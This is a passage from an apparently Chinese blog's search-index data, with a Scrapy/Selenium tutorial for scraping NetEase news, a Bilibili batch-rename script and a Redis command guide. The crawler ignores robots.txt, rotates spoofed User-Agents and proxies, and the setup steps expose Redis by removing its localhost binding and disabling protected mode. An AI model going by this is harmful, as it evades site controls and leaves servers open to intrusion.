(X11; Linux x86_64) AppleWebKit/536.5 " "(KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5", "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 " "(KHTML, like Gecko) Chrome/19.0.1084.36 Safari/536.5", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 " "(KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3", "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.3 " "(KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 " "(KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3", "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 " "(KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 " "(KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3", "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 " "(KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 " "(KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.3 " "(KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3", "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 " "(KHTML, like Gecko) Chrome/19.0.1061.0 Safari/536.3", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.24 " "(KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24", "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.24 " "(KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24" ] # 可被选用的代理IP PROXY_http = [ '153.180.102.104:80', '195.208.131.189:56055', ] PROXY_https = [ '120.83.49.90:9000', '95.189.112.214:35508', ] # 拦截请求 def process_request(self, request, spider): # UA伪装 request.headers['User-Agent'] = random.choice(self.user_agent_list) return None # 拦截所有的响应 def process_response(self, request, response, spider): # Called with the response returned from the downloader. # Must either; # - return a Response object # - return a Request object # - or raise IgnoreRequest return response # 拦截发生异常的请求 def process_exception(self, request, exception, spider): # 发生请求异常后设置代理 # 对拦截到请求的url进行判断(协议头到底是http还是https) # request.url返回值:http://www.xxx.com if request.url.split(':')[0] == 'https': # 请求的协议头 ip = random.choice(self.PROXY_https) request.meta['proxy'] = 'https://'+ip else: ip = random.choice(self.PROXY_http) request.meta['proxy'] = 'http://' + ip return request # 将修正之后的请求对象进行重新的请求发送 在settings.py中开启下载中间件 123DOWNLOADER_MIDDLEWARES = { 'qiubaiPro.middlewares.QiubaiproDownloaderMiddleware': 543,} 需求:爬取网易新闻中的新闻数据(标题和内容) 通过网易新闻的首页解析出五大板块对应的详情页URL(没有动态加载) 每一个板块对应的新闻标题都是动态加载出来的(动态加载) 通过解析出每一条新闻详情页的url获取详情页的页面源码,解析出新闻内容 1234567891011121314#settings.py#基本操作USER_AGENT = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36'# Obey robots.txt rulesROBOTSTXT_OBEY = FalseLOG_LEVEL = 'ERROR'#开启中间件拦截DOWNLOADER_MIDDLEWARES = { 'wangyiPro.middlewares.WangyiproDownloaderMiddleware': 543,}#开启管道ITEM_PIPELINES = { 'wangyiPro.pipelines.WangyiproPipeline': 300,} 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253#wangyi.pyimport scrapyfrom selenium import webdriverfrom wangyiPro.items import WangyiproItemclass WangyiSpider(scrapy.Spider): name = 'wangyi' # allowed_domains = ['https://news.163.com/'] start_urls = ['https://news.163.com/'] models_urls = [] # 存储五个板块对应详情页的url # 解析五大板块对应详情页的url # 实例化一个浏览器对象 def __init__(self): # 后面是你的浏览器驱动位置,记得前面加r'','r'是防止字符转义的 self.bro = webdriver.Chrome( executable_path=r'D:\\Learning world\\personal project\\personal project\\Python\\爬虫\\scrapy\\wangyiPro\\wangyiPro\\chromedriver.exe') def parse(self, response): li_list = response.xpath('//div[@class="ns_area list"]/ul/li') alist = [3, 4, 6, 7, 8] for index in alist: model_url = li_list[index].xpath('./a/@href').extract_first() self.models_urls.append(model_url) # 依次对每一个板块对应的页面进行请求 for url in self.models_urls: # 对每一个板块的url进行请求发送 yield scrapy.Request(url=url, callback=self.parse_model) # 每一个板块对应的新闻标题相关的内容都是动态加载 def parse_model(self, response): # 解析每一个板块页面中对应新闻的标题和新闻详情页的url div_list = response.xpath('//div[@class="ndi_main"]/div') for div in div_list: title = div.xpath('./div/div[1]/h3/a/text()').extract_first() new_detail_url = div.xpath( './div/div[1]/h3/a/@href').extract_first() item = WangyiproItem() item['title'] = title # 对新闻详情页的url发起请求 yield scrapy.Request(url=new_detail_url, callback=self.parse_detail, meta={'item': item}) def parse_detail(self, response): content = response.xpath( '//div[@class="post_body"]/p/text()').extract() content = ''.join(content) item = response.meta['item'] item['content'] = content yield item def closed(self, spider): self.bro.quit() 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960#middlewares.py# Define here the models for your spider middleware## See documentation in:# https://docs.scrapy.org/en/latest/topics/spider-middleware.htmlfrom scrapy import signals# useful for handling different item types with a single interfacefrom itemadapter import is_item, ItemAdapterfrom scrapy.http import HtmlResponsefrom time import sleepclass WangyiproDownloaderMiddleware: def process_request(self, request, spider): # Called for each request that goes through the downloader # middleware. # Must either: # - return None: continue processing this request # - or return a Response object # - or return a Request object # - or raise IgnoreRequest: process_exception() methods of # installed downloader middleware will be called return None # 通过该方法拦截五大板块对应的响应对象,进行篡改 def process_response(self, request, response, spider): # spider表示的是爬虫对象 bro = spider.bro # 获取了在爬虫类中定义的浏览器对象 # 挑选出指定的响应对象进行篡改 # 通过url指定request # 通过request指定response if request.url in spider.models_urls: bro.get(request.url) # 五个板块对应的url进行请求 sleep(2) page_text = bro.page_source # 包含了动态加载的新闻数据 # response # 五大板块对应的响应对象 # 针对定位到的response进行篡改 # 实例化新的相应对象,符合需求:包含动态加载出的新闻数据,替代原来不满足需求的响应对象 # 如何获取动态加载出的新闻数据呢? # 基于selenium便捷的获取动态加载数据 new_response = HtmlResponse( url=request.url, body=page_text, encoding='utf-8', request=request) return new_response else: # response # 其他请求对应的响应对象 return response def process_exception(self, request, exception, spider): # Called when a download handler or a process_request() # (from other downloader middleware) raises an exception. # Must either: # - return None: continue processing this exception # - return a Response object: stops process_exception() chain # - return a Request object: stops process_exception() chain pass 123456789#items.pyimport scrapyclass WangyiproItem(scrapy.Item): # define the fields for your item here like: title = scrapy.Field() content = scrapy.Field() 12345678910111213141516#pipelines.py# Define your item pipelines here## Don't forget to add your pipeline to the ITEM_PIPELINES setting# See: https://docs.scrapy.org/en/latest/topics/item-pipeline.html# useful for handling different item types with a single interfacefrom itemadapter import ItemAdapterclass WangyiproPipeline: def process_item(self, item, spider): print(item) CrawlSpider类CrawlSpider类:Spider的一个子类 全站数据爬取的方式 基于Spider手动请求 基于CrawlSpider CrawlSpider的使用: 创建一个工程 cd xxx 创建爬虫文件(与之前不一样,基于CrawlSpider子类) scrapy genspider -t crawl name www.xxx.com LinkExtractor(链接提取器): 作用:根据指定规则(allow="正则")进行指定链接的提取 Rule(规则解析器) 作用:将链接提取器提取到的链接进行指定规则(callback的解析操作) 分布式爬虫分布式爬虫的概念我们需要搭建一个分布式的集群,让其对一组资源进行分布联合爬取 作用提升爬取数据的效率 如何实现分布式 安装scrapy-redis的组件 原生的scrapy是不可以实现分布式爬虫的,必须要让scrapy结合着scrapy-redis组件一起实现分布式爬虫 为什么原生的scrapy不可以实现分布式? 调度器不可以被分布式集群共享 管道不可以被分布式集群共享 scrapy-redis组件作用 可以给原生的scrapy框架提供可以被共享的管道和调度器 实现流程 创建一个工程 创建一个基于CrawlSpider的爬虫文件 修改当前的爬虫文件 导包 from scrapy_redis.spiders import RedisCrawlSpider 将start_urls和allowed_domains进行注释 添加一个新属性:与之代替的是redis_key='sun'可以被共享的调度器队列的名称 编写数据解析相关的操作 将当前爬虫类的父类修改成RedisCrawlSpider 修改配置文件settings.py 指定使用可以被共享的管道 123ITEM_PIPELINES = { 'scrapy_redis.pipelines.RedisPipeline':400} 指定调度器 123456#增加了一个去重容器类的配置,作用使用Redis的set集合来存储请求的指纹数据,从而实现请求去重的持久化DUPEFILTER_CLASS = "scrapy_redis.dupefilter.RFPDupeFilter"#使用scrapy-redis组件自己的调度器SCHEDULER="scrapy_redis.scheduler.Scheduler"#配置调度器是否要持久化,也就是当爬虫结束了,要不要清空Redis中请求队列和去重指纹的set.True=保留,False=清空SCHEDULER_PERSIST=TRUE 指定redis服务器 1234#setting.pyREDIS_HOST = 'redis服务器的ip地址'REDIS_PORT = 6379 redis相关操作配置 配置`redis`的配置文件 linux/mac:redis.conf windows:redis.windows.conf 打开配置文件修改 将bind 127.0.0.1进行删除 关闭保护模式:protected_mode yes改为no 结合着配置文件开启redis服务 redis-server配置文件 启动客户端 redis-cli 执行工程 scrapy runspider xxx.py(爬虫源文件名称) 向调度器的队列中放入一个起始的url 调度器的队列在redis的客户端中 lpush sun(爬虫文件中的redis_key) www.xxx.com(起始的url)","tags":["编程语言","Python","爬虫"],"categories":["编程语言","Python","爬虫"]},{"title":"Python-模糊查询批量修改文件名","path":"/2019/12/24/384da78c/","content":"总字符数: 2.97K 代码: 1.91K, 文本: 0.43K 预计阅读时间: 10 分钟 前言今天利用哔哩哔哩下载器下载了一堆资源,结果发现文件名全部都是乱序,没有排好序就感觉看的很蒙,突然想起python可以批量重命名于是准备利用python写一个脚本. 大概思路就是先爬取哔哩哔哩视频的标题,爬取下来后利用range生成顺序编号,通过字符串拼接起来,然后截取文件夹的名字,拿着截取的名字去查找对应的新名字和旧名字,利用python的os模块进行批量重命名 导入相关库1234import requests #python请求库 import json #处理json数据库 import os #os系统模块 import fnmatch #模糊查找库 获取哔哩哔哩视频下的标题 https://api.bilibili.com/x/web-interface/view/detail?bvid=av号&aid=av号的aid可以通过f12获取,url中的aid就是图片里的pid 还有一个接口不过需要自己处理一下json数据,此代码用的上面那个接口,接口地址: https://api.bilibili.com/x/player/pagelist?bvid=AV号&jsonp=jsonphttps://api.bilibili.com/x/player/pagelist?bvid=AV号&jsonp=jsonp 获取哔哩哔哩视频的每集的标题123456789101112def getjson(): page_text = requests.get( 'https://api.bilibili.com/x/web-interface/view/detail?bvid=BV15741177Eh&aid=89760569') data = page_text.json() shuzi = list(range(1, 233)) data = data['data']['View']['pages'] newname = [] for shuzi, item in zip(shuzi, data): part = item['part'] mingzi = str(shuzi)+part[3:len(part)]+".mp4" newname.append(mingzi) return newname # 将整理好的newname返回出去 截取需要查找的字符串1234567# 截取需要查找的字符串def findName(fileList):findname = []for fn in fileList: fname = fn[7:len(fn)-12] findname.append(fname)return findname 查找需要更改的需要更改的文件名字以及新名字12345678910111213141516# 查找需要更改的需要更改的文件名字以及新名字def comparison(fileList, path):oa = [] # 定义需要更改的文件名字的列表newa = [] # 定义新名字的列表findname = findName(fileList) # 获取查找字符串的列表newname = getjson() # 获取哔哩哔哩新名字的列表# 循环遍历查找字符串和需要更改的文件名字for fn, oldname in zip(findname, fileList):# 循环新名字保证每一个查找字符串可以和每一个新名字以及每一个需要更改的文件名字可以对比 for na in newname: # 使用模糊查询,找出对应的新名字以及需要更改的文件名字, if fn in oldname and fn in na and oldname.endswith('.mp4'): # fn 查找字符串,oldname需要更改的文件名字,na新名字 oa.append(oldname) newa.append(na)rename(oa, newa, path) 进行批量重命名1234567891011121314def rename(oldname, newname, path):path = path # 文件路径oldname = oldname # 需要更改的文件名字newname = newname # 新名字# 文件批量重命名for oldn, newna in zip(oldname, newname): # 捕获异常使其遇到错误也可以正常运行,因为模糊查询的原因避免不了重名的错误,所以只能把准确率控制在90% try: oldname = path + os.sep + oldn newname = path + os.sep + newna os.rename(oldname, newname) print(oldname, '=======>', newname) except Exception as e: pass 定义主函数1234if __name__ == "__main__":path = 'D:\\Learning world\\personal project\\personal project\\Python\\\\test'#路径fileList = os.listdir(path)#列取path下的文件名comparison(fileList, path) 注意https://github.com/JiangJiYue/PythonCrawler/blob/main/bilibili.pyhttps://github.com/JiangJiYue/PythonCrawler/blob/main/bilibili.py 请复制出一份后在测试代码 未整理前: 整理后:","tags":["编程语言","Python","爬虫"],"categories":["编程语言","Python","爬虫"]},{"title":"Linux-redis从入门到精通","path":"/2019/11/15/2e455f59/","content":"总字符数: 13.12K 代码: 8.57K, 文本: 2.49K 预计阅读时间: 48 分钟 Redis概述NoSQL NoSQL,泛指非关系型的数据库。随着互联网web2.0网站的兴起,传统的关系数据库在处理web2.0网站,特别是超大规模和高并发的SNS类型的web2.0纯动态网站已经显得力不从心,出现了很多难以克服的问题,而非关系型的数据库则由于其本身的特点得到了非常迅速的发展。NoSQL数据库的产生就是为了解决大规模数据集合多重数据种类带来的挑战,特别是大数据应用难题 主流的NoSQL产品: 目前缓存的主流技术:Redis、Memcached、mongoDB 缓存的需求 在信息爆炸的今天,数据的存储,对数据的查询都是非常频繁且非常大量的。关系型数据库的就显得力不从心了,扩展性较差,查询简单条件数据的效率较低等缺点,无意是致命的。而NOSQL数据库中的数据之间并无关系,这一特点造就了NOSQL的易扩展性,读写性能高等优势。所以面对大量的数据读写,非关系型数据库相比较于关系型数据库有着巨大的优势。 为什么要使用Nosql?对数据高并发的读写海量数据的读写对数据的高可扩展性NoSql出现的目地是为解决性能问题所产生的技术Redis数据库是NOSQL数据库中以key-value存储模式下的一种数据库。那么Redis数据库为什么又在NOSQL中脱颖而出?Redis支持多种数据类型:string(字符串)hash(哈希)list(列表)set(集合)zset(sorted set:有序集合)。支持主从复制,读写分离。读写效率大大提升。数据存储在内存中,可用来做缓存。需要持久化的数据就将其存入硬盘,不需要持久化的数据,可以进行短暂的存储,提高访问速度。 Redis简介及安装https://redis.io/https://redis.io/ https://www.redis.net.cn/https://www.redis.net.cn/ redis下载linux环境下载: https://redis.io/downloadhttps://redis.io/download windows环境下载: redis官网不支持windows平台的,windows版本是由微软自己建立的一个分支,基于官方的源码上进行编译发布维护,一般比官方版略低 window安装安装方式一 临时服务 无需要安装,只需要开启服务端和客户端即可 点击``redis-server.exe` 开启服务, 开启后不要关闭,关闭redis服务器就关掉了 点击``redis-cli.exe` 开启客户端 安装方式二 安装到系统服务 直接按装到本机服务中,无需要来回启动 12# 安装到系统服务redis-server --service-install redis.windows.conf --loglevel verbose 1234567891011# 卸载服务redis-server --service-uninstall 先停掉redis服务器# 开启服务redis-server --service-start# 停止服务redis-server --service-stop # 开启客户端点击redis-cli.exe# 也可以指定连接redis-cli.exe -h 127.0.0.1 -p 6379 linux安装123456789101112# 下载安装rediscd /optwget http://download.redis.io/releases/redis-2.8.17.tar.gz# 解压tar zxvf redis-2.8.17.tar.gz# 进入到redis目录cd redis-2.8.17make# 然后进入到src文件夹cd src/# 启动Redis-Server./redis-server Redis操作多数据库redis默认数据库数有16个,0-15号库,默认连接的数据库0号库,通过redis.windows.conf查看 redis不支持自定义数据库名称,redis的多数据库之间不是完全隔离有,flushall命令会清空所有的数据库数据 选择数据库1234567127.0.0.1:6379> select 1OK127.0.0.1:6379[1]> set test abcOK127.0.0.1:6379[1]> get test"abc"127.0.0.1:6379[1]> 清空数据库 FLUSHALL – 清空【所有数据库】的所有数据 FLUSHDB – 清空【当前】所在数据库的数据 123456789127.0.0.1:6379> set a 123OK127.0.0.1:6379> get a"123"127.0.0.1:6379> flushdb -- 清空【当前】所在数据库的数据OK127.0.0.1:6379> get a (nil)127.0.0.1:6379> 123456789101112131415161718127.0.0.1:6379> set b 123-- 0号库设置数据OK127.0.0.1:6379> get b"123"127.0.0.1:6379> select 1-- 切换1号库设置数据OK127.0.0.1:6379[1]> set c 123OK127.0.0.1:6379[1]> get c"123"127.0.0.1:6379[1]> flushall -- 清空【所有数据库】的所有数据OK127.0.0.1:6379[1]> get c-- 清空后1号库数据已清除(nil)127.0.0.1:6379[1]> select 0 -- 清空后0号库数据已清除OK127.0.0.1:6379> get b(nil) 基本命令 keys * – 查看当前所有key exists key –判断key是否存在,存在返回1,不存在返回0 del key – 删除key,成功返回1,失败返回0 type key –查看key的数据类型 keys * – 查看当前所有key 12345678127.0.0.1:6379> set a 123OK127.0.0.1:6379> set b 321OK127.0.0.1:6379> keys * -- 查看当前所有key1) "b"2) "a"127.0.0.1:6379> exists key –判断key是否存在,存在返回1,不存在返回0 12345127.0.0.1:6379> exists a -- 判断key是否存在,存在返回1,不存在返回0(integer) 1127.0.0.1:6379> exists c(integer) 0127.0.0.1:6379> del key – 删除key,成功返回1,失败返回0 12345678127.0.0.1:6379> keys *1) "b"2) "c"127.0.0.1:6379> del b -- 删除key,成功返回1,失败返回0(integer) 1127.0.0.1:6379> del a(integer) 0127.0.0.1:6379> type key –查看key的数据类型 12345127.0.0.1:6379> set a 123OK127.0.0.1:6379> type a-- 查看数据类型string127.0.0.1:6379> 设置相同的key名,会覆盖上一个 1234567127.0.0.1:6379> set k1 aaaOK127.0.0.1:6379> set k1 bbbOK127.0.0.1:6379> get k1-- 注意设置相同的key名,会覆盖上一个"bbb"127.0.0.1:6379> clear 清屏 12127.0.0.1:6379> clear-- 或者 ctrl + L 五种数据类型 ​\tredis存储的是:key,value格式的数据,其中key都是字符串,value有5种不同的数据结构 字符串类型 (String): 这是最基本的类型,一个键可以对应一个字符串值,字符串类型是二进制安全的,可以包含任何数据,如 jpg 图片或者序列化的对象。一个键存储的字符串值最大能达到 512MB。 散列类型 (Hash): Redis hash 是一个键值对集合,它是一个字符串字段和字符串值之间的映射表,适合存储对象。每个 hash 可以存储 2^32 - 1 键值对(40多亿)。 列表类型 (List): Redis 列表是一个简单的字符串列表,按照插入顺序排序。你可以添加一个元素到列表的头部(左边)或者尾部(右边)。它的底层实现是一个双向链表,因此即使列表中有数百万的元素,向列表的两端添加元素也是非常快的。它支持重复元素。 集合类型 (Set): Redis的Set是字符串类型的无序集合。它是通过哈希表实现的,所以添加、删除、查找的复杂度都是O(1)。set 中的最大成员数为2^32 - 1。集合中的元素是唯一的,这意味着同一个集合中不能出现重复的元素。 有序集合类型 (Sorted Set, ZSet):Redis Sorted Sets也是集合,它和 Set 一样也是不允许重复的成员元素,但不同的是每个元素都会关联一个double类型的分数。redis 正是通过分数来为集合中的成员进行从小到大的排序。不仅如此,它还支持按照分数区间和字典区间来获取成员列表。 每种数据结构都有其用途,例如,lists可以用作消息队列,sets可以用来存储无序的集合数据,例如标签、好友关系等,hashes 是存储对象的理想选择,sorted sets可以用来做带有权重的排行榜等。 字符串(string)get、set赋值取值 1234567127.0.0.1:6379> set a 123OK127.0.0.1:6379> get a"123"127.0.0.1:6379> get b(nil)127.0.0.1:6379> intcr递增,返回递增后的值 默认+1 123456127.0.0.1:6379> incr num(integer) 1127.0.0.1:6379> incr num(integer) 2127.0.0.1:6379> incr num(integer) 3 incrby增加定制的整数 1234567127.0.0.1:6379> incrby num 2(integer) 5127.0.0.1:6379> incrby num 2(integer) 7127.0.0.1:6379> incrby num 2(integer) 9127.0.0.1:6379> decr、decrby减少指定的整数 1234567891011127.0.0.1:6379> decr num(integer) 8127.0.0.1:6379> decr num(integer) 7127.0.0.1:6379> decrby num 3(integer) 4127.0.0.1:6379> decrby num 3(integer) 1127.0.0.1:6379> decrby num 3(integer) -2127.0.0.1:6379> append向键值的末尾追加值 , 返回值是追加后字符串的长度 1234567127.0.0.1:6379> set str helloOK127.0.0.1:6379> append str "redis"(integer) 10127.0.0.1:6379> get str"helloredis"127.0.0.1:6379> strlen获取字符串的长度,如何键不存在返回0 1234567127.0.0.1:6379> set str helloOK127.0.0.1:6379> strlen str(integer) 5127.0.0.1:6379> strlen a -- a 不存在返回0(integer) 0127.0.0.1:6379> mset、mget 同时设置、获取多个键值 12345678127.0.0.1:6379> mset k1 v1 k2 v2 k3 v3OK127.0.0.1:6379> get k1"v1"127.0.0.1:6379> mget k2 k31) "v2"2) "v3"127.0.0.1:6379> del 指定删除键,如果不存返回0 123456127.0.0.1:6379> set m 111OK127.0.0.1:6379> del m(integer) 1127.0.0.1:6379> del n(integer) 0 哈希类型(hash)哈希类型 hash, map类型 存储:hset key field value 1234127.0.0.1:6379> hset myhash username zhangsan(integer) 1127.0.0.1:6379> hset myhash password asd123(integer) 1 获取: hget key field: 获取指定的field对应的值 hgetall key:获取所有的field和value 12345678910127.0.0.1:6379> hget myhash username"zhangsan"127.0.0.1:6379> hget myhash password"asd123"127.0.0.1:6379> hgetall myhash1) "username"2) "zhangsan"3) "password"4) "asd123"127.0.0.1:6379> 删除: hdel key field 123456127.0.0.1:6379> hdel myhash username(integer) 1127.0.0.1:6379> hgetall myhash1) "password"2) "123"127.0.0.1:6379>> 列表类型(list)列表类型list : linkedlist格式, 支持重复元素 特点:单键多值 添加: 可以添加一个元素到列表的头部(左边)或者尾部(右边)对两端的操作性能都比较高,查询效率比较低 lpush key value: 将元素加入列表(左边) 1234567891011121314151617181920212223242526127.0.0.1:6379> lpush k1 a-- 向左边添加 a(integer) 1127.0.0.1:6379> lpush k1 b-- 向左边添加 b(integer) 2127.0.0.1:6379> lpush k1 c-- 向左边添加 c(integer) 3127.0.0.1:6379> -- 每添加一个往左边放一个:c <- b <- a127.0.0.1:6379> lpush k1 a a b b -- 支持重复的数据(integer) 4127.0.0.1:6379> flushdb -- 清空当前数据库127.0.0.1:6379> lpush k1 a b c -- 也可以同时添加多个值127.0.0.1:6379> lindex k1 0-- 根据索引0 找到c"c"127.0.0.1:6379> lindex k1 1-- 根据索引1 找到b"b" 127.0.0.1:6379> lindex k1 2-- 根据索引2 找到a"a"127.0.0.1:6379> lrange k1 0 -1 -- 范围取值1) "c" -- 索引0索引也为-32) "b" -- 索引1索引也为-23) "a" -- 索引2索引也为-1127.0.0.1:6379> -- 结果:c <- b <- a rpush key value:将元素加入列表(右边) 1234567891011121314151617127.0.0.1:6379> rpush k2 v1 v2 v3 -- 向右边添加(integer) 3127.0.0.1:6379> lindex k2 0 -- 根据索引获取"v1"127.0.0.1:6379> lindex k2 1"v2"127.0.0.1:6379> lindex k2 2"v3"127.0.0.1:6379> lrange k2 0 -11) "v1" -- 索引0 索引也为-32) "v2" -- 索引1 索引也为-23) "v3" -- 索引2 索引也为-1127.0.0.1:6379>-- 每添加一个往右边放一个: v1 -> v2 -> v3127.0.0.1:6379> llen k2 -- 获取长度(integer) 3 获取:返回列表中指定区间内的元素,区间以偏移量start和end指定。其中 0表示列表的第一个元素, 1表示列表的第 二个元素, 依次类推( 索引0..end )。 你也可以使用负数, -1表示最后一个元素, -2表示倒数第二个元素, 依次类推。 lrange key start end 范围获取 lindex key index 根据索引获取 llen key 获取长度 12345678910111213141516171819127.0.0.1:6379> lpush k1 a b c-- 存放数据(integer) 3127.0.0.1:6379> lindex k1 0-- 根据索引0 找到c"c"127.0.0.1:6379> lindex k1 1-- 根据索引1 找到b"b" 127.0.0.1:6379> lindex k1 2-- 根据索引2 找到a"a"127.0.0.1:6379> lrange k1 0 -1 -- 范围取值:0表示第一个 -1表示最后一个1) "c"2) "b"3) "a"127.0.0.1:6379> lrange k1 0 -2 -- 范围取值:0表示第一个 -2表示倒数第二个1) "c"2) "b"127.0.0.1:6379>127.0.0.1:6379> llen k1 -- 获取长度(integer) 3127.0.0.1:6379> 删除: lpop key: 删除列表最左边的元素,并将元素返回 rpop key: 删除列表最右边的元素,并将元素返回 12345678910111213127.0.0.1:6379> lpush k1 a b c -- 存放数据127.0.0.1:6379> lrange k1 0 -1 -- 范围取值:0表示第一个 -1表示最后一个1) "c"2) "b"3) "a"127.0.0.1:6379> lpop k1 -- 删除最左边元素,并返回"c"127.0.0.1:6379> lpop k1"b"127.0.0.1:6379> lpop k1"a"127.0.0.1:6379> keys * -- 值在键在 值光键亡(empty array) 集合类型(set)集合类型set , 不允许重复元素, 无序, 与java中的HashSet内部实现是一样的 存储:sadd key value 1234567891011127.0.0.1:6379> sadd myset a -- 添加数据(integer) 1127.0.0.1:6379> sadd myset a -- 不允许添加重复元素,返回0(integer) 0127.0.0.1:6379> scard myset -- 返回集合中的元素个数(integer) 1127.0.0.1:6379> smembers myset -- 获取数据1) "a"127.0.0.1:6379> flushdb-- 清空当前数据库127.0.0.1:6379> sadd myset a a b c -- 也可以一次性添加多个数据(integer) 3 获取:smembers key:获取set集合中所有元素 12345678127.0.0.1:6379> sadd myset a b c(integer) 3127.0.0.1:6379> smembers myset-- 获取set集合中所有元素1) "b"2) "c"3) "a"127.0.0.1:6379> smembers myset2 -- 获取不到返回empty(empty list or set) 随机操作:srandmember key随机查询set中的元素; spop key随机删除set中的元素; 1234567891011121314151617-- srandmember key 随机查询set中的元素127.0.0.1:6379> srandmember myset"a"127.0.0.1:6379> srandmember myset"c"127.0.0.1:6379> srandmember myset"a"-- spop key 随机删除set中的元素127.0.0.1:6379> spop myset -- 随机删除"b"127.0.0.1:6379> spop myset-- 随机删除"d"127.0.0.1:6379> smembers myset -- 查看数据1) "c"2) "a"127.0.0.1:6379> 删除:srem key value:删除set集合中的某个元素 123456789127.0.0.1:6379> srem myset c -- 指定删除set集合中的某个元素(integer) 1127.0.0.1:6379> smembers myset1) "b"2) "a"127.0.0.1:6379> srem myset a b -- 同时也可以删除多个值(integer) 2127.0.0.1:6379> smembers myset(empty array) 有序集合(zset)有序集合类型 sorted set, 不允许重复元素,且元素有顺序; 每个元素都会关联一个double类型的分数。redis正是通过分数来为集合中的成员进行从小到大的排序。 存储:zadd key score value 12345678910127.0.0.1:6379> zadd mysort 80 jack(integer) 1127.0.0.1:6379> zadd mysort 80 jack -- 相同数据不能存(integer) 0127.0.0.1:6379> zadd mysort 60 lisi(integer) 1127.0.0.1:6379> zadd mysort 20 zhangsan(integer) 1127.0.0.1:6379> flushdb127.0.0.1:6379> zadd mysort 80 jack 60 lisi 20 zhangsan-- 也可以同时添加多个 获取:zrange key start end [withscores] 12345678910111213127.0.0.1:6379> zrange mysort 0 -1-- 第一个数据为0 最后一个数据为-11) "zhangsan"2) "lisi"3) "jack"127.0.0.1:6379>127.0.0.1:6379> zrange mysort 0 -1 withscores -- 包含值及评分都显示出来1) "zhangsan"2) "20"3) "lisi"4) "60"5) "jack"6) "80"127.0.0.1:6379> 1234567891011121314151617181920212223127.0.0.1:6379> flushdb -- 清空当前库127.0.0.1:6379> zadd mysort 100 a 200 b 300 c 400 d 500 e(integer) 5127.0.0.1:6379> zrange mysort 0 -11) "a"2) "b"3) "c"4) "d"5) "e"-- zrangebyscore key min max 可以通评分进行区间取值127.0.0.1:6379> zrangebyscore mysort 100 3001) "a"2) "b"3) "c"-- zrangebyscore key min maxwithscores 可以通评分进行区间取值并显示分数127.0.0.1:6379> zrangebyscore mysort 100 300 withscores1) "a"2) "100"3) "b"4) "200"5) "c"6) "300"127.0.0.1:6379> 123456789101112131415161718-- zrevrangebyscore key max min 从大到小排序127.0.0.1:6379> zrevrangebyscore mysort 500 2001) "e"2) "d"3) "c"4) "b"-- zrevrangebyscore key max min withscores 从大到小排序并显示分数127.0.0.1:6379> zrevrangebyscore mysort 500 200 withscores1) "e"2) "500"3) "d"4) "400"5) "c"6) "300"7) "b"8) "200"127.0.0.1:6379> 1234-- zcount mysort min max 查询区间的元素个数127.0.0.1:6379> zcount mysort 100 300(integer) 3127.0.0.1:6379> 123456789101112131415161718-- zrank key value 查看集合中的排名 (排名从0开始)127.0.0.1:6379> zrank mysort a(integer) 0127.0.0.1:6379> zrank mysort b(integer) 1-- 查看所有元素127.0.0.1:6379> zrange mysort 0 -1 withscores 1) "a" 2) "100" 3) "b" 4) "200" 5) "c" 6) "300" 7) "d" 8) "400" 9) "e"10) "500" 删除:zrem key value 1234127.0.0.1:6379> zrem mysort b-- 删除单个(integer) 1127.0.0.1:6379> zrem mysort a c-- 删除多个(integer) 2 Redis生存时间redis在实际应用中更多是用作缓存,解而缓存的数据一般都需要设置生存时间的 即:到期后数据销毁 设置生存时间设置生存时间 expire key seconds TTL 返回值: 大于0:剩余生存时间,单位为秒 负数: 数据已经被删除 1234567891011121314127.0.0.1:6379> set k1 abc-- 添加数据OK127.0.0.1:6379> expire k1 10 -- 设置当前k1的生存时间(integer) 1127.0.0.1:6379> ttl k1 -- 查看剩余生存时间(integer) 3127.0.0.1:6379> ttl k1(integer) 2127.0.0.1:6379> ttl k1(integer) 1127.0.0.1:6379> ttl k1 -- 返回负数数据销毁(integer) -2127.0.0.1:6379> get k1 -- 此时数据就销毁(nil) 清除生存时间清除生存时间 persist key 1234567891011121314127.0.0.1:6379> set k1 123OK127.0.0.1:6379> expire k1 100 -- 设置生存时间(integer) 1127.0.0.1:6379> ttl k1 -- 查看生存时间(integer) 51127.0.0.1:6379> ttl k1(integer) 50127.0.0.1:6379> persist k1 -- 清除生存时间(integer) 1127.0.0.1:6379> ttl k1 -- 返回负数 表示生存的时间已清除,数据还存在(integer) -1127.0.0.1:6379> get k1"123" 设置单位为毫秒设置单为毫秒 pexpire key milliseconds 12345678910127.0.0.1:6379> set k1 123OK127.0.0.1:6379> pexpire k1 10000 -- 设置当前生存时间为10000毫秒(10秒)(integer) 1127.0.0.1:6379> ttl k1(integer) 7127.0.0.1:6379> ttl k1(integer) 6127.0.0.1:6379> ttl k1(integer) 5","tags":["Centos","运维","数据库","Redis"],"categories":["安全运维","数据库"]},{"title":"家庭网络拓扑","path":"/2019/10/21/628a2fb5/","content":"总字符数: 0.84K 代码: 无, 文本: 0.46K 预计阅读时间: 2 分钟 